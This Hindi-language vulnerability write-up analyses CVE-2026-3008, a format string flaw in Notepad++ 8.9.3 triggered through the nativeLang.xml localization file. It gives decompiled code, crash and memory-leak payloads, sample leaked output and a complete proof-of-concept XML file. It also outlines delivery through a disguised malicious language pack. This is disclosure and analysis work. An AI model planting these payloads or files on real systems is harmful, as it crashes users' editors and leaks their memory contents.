
CVE-2026-3008 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो Notepad++ 8.9.3 में nativeLang.xml के माध्यम से एक फॉर्मेट स्ट्रिंग इंजेक्शन है, जिससे सेवा से इनकार (denial of service) और सूचना प्रकटीकरण (information disclosure) संभव होता है।
जब कोई खोज ऑपरेशन परिणाम उत्पन्न करता है, sub_1400916C0 हिट काउंट लेबल को फॉर्मेट करता है, जिसमें nativeLang.xml से एक स्थानीयकृत स्ट्रिंग प्राप्त की जाती है और उसे सीधे wsprintfW को फॉर्मेट स्ट्रिंग के रूप में पास किया जाता है:
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196)); // स्थानीयकृत स्ट्रिंग प्राप्त करें
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
v38 = v51[0]; // SSO: हीप पॉइंटर
wsprintfW((LPWSTR)(a1 + 0xC8), v38); // v38 फॉर्मेट स्ट्रिंग है
यह स्ट्रिंग nativeLang.xml में <find-result-hits> विशेषता से उत्पन्न होती है, और डेटा प्रवाह में किसी भी बिंदु पर कोई सत्यापन नहीं होता:
nativeLang.xml
→ TinyXML पार्सर (XML विशेषता पढ़ता है, कोई सामग्री सत्यापन नहीं)
→ NativeLangSpeaker (UTF-8 → UTF-16 रूपांतरण, कोई सत्यापन नहीं)
→ sub_140099E60 ($INT_REPLACE$ प्रतिस्थापन — फॉर्मेट स्पेसिफायर बचे रहते हैं)
→ wsprintfW(buf, v38) (v38 को फॉर्मेट स्ट्रिंग तर्क के रूप में उपयोग किया जाता है, डेटा के रूप में नहीं)
wsprintfW को केवल दो तर्कों के साथ कॉल किया जाता है — कोई वैरिएडिक डेटा तर्क नहीं। v38 में कोई भी फॉर्मेट स्पेसिफायर x64 कॉलिंग कन्वेंशन के तर्क स्लॉट (R8, R9, स्टैक) से मान पढ़ते हैं, जिनमें बचा हुआ रजिस्टर कचरा होता है।
| फ़ील्ड | मान |
|---|---|
| फ़ंक्शन | sub_1400916C0 (फाइंड रिजल्ट्स पैनल इनिशियलाइज़र) |
| सिंक पता | 0x140091E6D |
| ट्रिगर | कोई भी खोज जो परिणाम उत्पन्न करती है (फाइंड ऑल, फाइंड इन फाइल्स, मार्क ऑल, रिप्लेस ऑल) |
sub_1400916C0 को फाइंडरिजल्ट्स WndProc (sub_140089BF0) में चार स्थानों से कॉल किया जाता है:
| पता | ट्रिगर |
|---|---|
0x14008B63B | फाइंड इन फाइल्स |
0x14008B72D | करंट / ऑल डॉक्यूमेंट्स में फाइंड ऑल |
0x14008B97E | रिप्लेस ऑल |
0x14008B9FE | मार्क ऑल |
%s (DoS)<find-result-hits value="%s%s%s%s%s%s%s%s"/>
प्रत्येक %s एक जंक रजिस्टर या स्टैक मान को WCHAR* पॉइंटर के रूप में व्याख्या करता है। पहला अमान्य पता तुरंत एक्सेस उल्लंघन (STATUS_ACCESS_VIOLATION, 0xC0000005) ट्रिगर करता है। दुर्भावनापूर्ण फ़ाइल हटाए जाने तक Notepad++ हर बाद की खोज पर क्रैश होता है — विश्वसनीय, एक-शॉट DoS।
%08lx<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
स्टैक और रजिस्टर सामग्री को DWORD मानों के रूप में पढ़ा जाता है और हेक्स के रूप में फॉर्मेट किया जाता है, जो फाइंड रिजल्ट्स पैनल टैब में दिखाई देता है। लाइव परीक्षण से देखा गया आउटपुट:
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
5852bb18 और 7b1052e0 जैसे मान छोटे किए गए 64-बिट पॉइंटर अंश हैं।
wsprintfW (user32.dll) %n का समर्थन नहीं करता — कोई राइट-व्हाट-व्हेयर प्रिमिटिव नहीं है। इसकी हार्डकोडेड 1024-वर्ण आउटपुट सीमा गंतव्य बफर आकार से बिल्कुल मेल खाती है, जो हीप बफर ओवरफ्लो को खारिज करती है। भेद्यता की पुष्टि DoS + सूचना प्रकटीकरण के रूप में होती है। इस अकेले फॉर्मेट स्ट्रिंग के माध्यम से कोड निष्पादन प्राप्त नहीं किया जा सकता।
nativeLang.xml डिफ़ॉल्ट रूप से मौजूद नहीं होता — अंग्रेज़ी भाषा के इंस्टॉलेशन प्रभावित नहीं होते। जब कोई उपयोगकर्ता सेटिंग्स → प्रेफरेंसेस → जनरल → लोकलाइज़ेशन के माध्यम से गैर-अंग्रेज़ी भाषा चुनता है, तो Notepad++ संबंधित फ़ाइल को यहाँ लिखता है:
| संस्करण | पथ |
|---|---|
| इंस्टॉलर | %APPDATA%\Notepad++\nativeLang.xml |
| पोर्टेबल | <npp_directory>\nativeLang.xml |
शिप किए गए 94 लोकलाइज़ेशन फ़ाइलों में से, 43 में <find-result-hits> तत्व होता है। उन भाषाओं के उपयोगकर्ता कमजोर हैं यदि उनका nativeLang.xml छेड़छाड़ किया गया हो — उदाहरण के लिए, फ़ोरम या डाउनलोड साइटों के माध्यम से वितरित दुर्भावनापूर्ण सामुदायिक भाषा पैक के माध्यम से। हमलावर अन्य सभी स्ट्रिंग्स के लिए वैध अनुवाद शामिल कर सकता है, जिससे फ़ाइल सामान्य दिखाई दे।
निम्नलिखित फ़ाइल को <npp_directory>\nativeLang.xml (पोर्टेबल) या %APPDATA%\Notepad++\nativeLang.xml (इंस्टॉलर) पर रखें, फिर Notepad++ खोलें और कोई भी खोज करें जो परिणाम उत्पन्न करती है (Ctrl+F → करंट डॉक्यूमेंट में फाइंड ऑल)।
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
<Menu><Main></Main></Menu>
<MiscStrings>
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
</MiscStrings>
</Native-Langue>
</NotepadPlus>
परिणाम: Notepad++ wsprintfW में एक्सेस उल्लंघन के साथ तुरंत क्रैश हो जाता है।
अतिरिक्त पेलोड वेरिएंट payloads/ निर्देशिका में हैं।